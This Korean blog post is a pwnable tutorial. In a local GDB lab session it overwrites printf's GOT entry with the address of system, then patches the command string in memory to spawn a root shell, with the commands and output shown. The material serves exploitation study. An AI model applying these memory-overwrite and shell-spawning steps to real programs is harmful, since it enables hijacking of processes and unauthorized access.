티스토리 뷰
printf_got.c
#include <stdio.h>
int main( void ) {
printf( "cat ~/system_hack_test/got_test.txt" );
return 0;
}
이 코드를 통해 /root/system_hack_test/got_test.txt를 출력해야함.
여기서 printf가 system함수가 되면 출력할 수 있음.
root@Kali:~/system_hack_test# pwd
/root/system_hack_test
root@Kali:~/system_hack_test# ls -l
합계 28
-rwxrwxrwx 1 root root 5204 9월 6 14:54 got_test
-rw-r--r-- 1 root root 300 9월 6 14:54 got_test.c
-rw-r--r-- 1 root root 24 9월 6 15:01 got_test.txt
-rwxr-xr-x 1 root root 4912 9월 6 15:02 printf_got
-rw-r--r-- 1 root root 103 9월 6 15:02 printf_got.c
root@Kali:~/system_hack_test# cat got_test.txt
GOT_OVERWRITE_SUCCESS!!
GOT_OVERWRITE_SUCCESS!! 가 뜨게 만들어야 하는데
여기서 핵심은 printf를 system함수로 바꾼다는 것이다.
여기서 printf를 system의 plt로 덮어버린다면
printf( "cat ~/system_hack_test/got_test.txt" ); 가
system( "cat ~/system_hack_test/got_test.txt" ); 이 되면서 got_test.txt를 볼 수 있을 것이다.
GDB에서 확인해보도록 하자.
Reading symbols from /root/system_hack_test/printf_got...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x0804841c <+0>: push %ebp
0x0804841d <+1>: mov %esp,%ebp
0x0804841f <+3>: and $0xfffffff0,%esp
0x08048422 <+6>: sub $0x10,%esp
0x08048425 <+9>: movl $0x80484d0,(%esp)
0x0804842c <+16>: call 0x8048300 <printf@plt>
(gdb) x/4i 0x8048300
0x8048300 <printf@plt>: jmp *0x804967c
0x8048306 <printf@plt+6>: push $0x0
0x804830b <printf@plt+11>: jmp 0x80482f0
0x8048310 <__gmon_start__@plt>: jmp *0x8049680
0x804967c은 printf의 GOT가 들어가 있는곳인데, 저부분을 system의 주소로 바꿔보도록 하자.
(gdb) p system
$1 = {<text variable,="" no="" debug="" info="">} 0xb7e9e000 <system>
(gdb) set *0x804967c=0xb7e9e000
-> GOT부분을 system의 주소로 덮어줌
(gdb) cont
Continuing.
GOT_OVERWRITE_SUCCESS!!
[Inferior 1 (process 18940) exited normally]
그렇다면 아예 쉘을 딸 수 있지 않을까?
이번에는 system함수로 바꾸고 문자열도 바꿔보도록 하자.
쉘을 따는 명령어는 sh로 정하고 해보도록 하자.
0x08048425 <+9>: movl $0x80484d0,(%esp) -> 이부분을 바꿔보도록 하자
0x0804842c <+16>: call 0x8048300 <printf@plt>
물론 리틀엔디언 방식으로 줘보도록하자 그리고 sh를 그냥 넣는다면
cat ~/system_hack_test/got_test.txt 에서
sht ~/system_hack_test/got_test.txt
가 되어버리면서 sht라는 명령어가 없다는 에러가 날 것이다. 그렇기 때문에 중간에 "&"를 넣어주면 쉘을 딸 수있다.
예를 들면
system( "sh&at ~/system_hack_test/got_test.txt" )
아스키코드로 (16진수) & -> 26, s ->73, h ->68이다.
0x26266873과 같이 넣어주면 sh&&at ~/system_hack_test/got_test.txt가 될 것이다.
(gdb) set *0x80484d0=0x26266873 -> sh명령 넣어줌
(gdb) set *0x804967c=0xb7e9e000 -> printf > system으로 바꿈
(gdb) cont
Continuing.
# cat got_test.txt
GOT_OVERWRITE_SUCCESS!!
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
---------------------------------------
GOT의 기본이다. 이부분을 잘 숙지해서 ROP기법을 공부해보도록 하자
'Pwnable > Technique' 카테고리의 다른 글
문제풀이로 보는 Integer Overflow 기법 (0) | 2015.02.01 |
---|---|
mprotect() 함수 이용하여 Exploit하기 (0) | 2015.01.16 |
Bypass NX-Bit And ASCII-Armor Python 익스플로잇 (3) | 2014.11.10 |
Bypass NX-Bit and ASCII-Armor (15) | 2014.10.26 |
FSB를 이용한 GOT_OVERWRITE (0) | 2014.10.02 |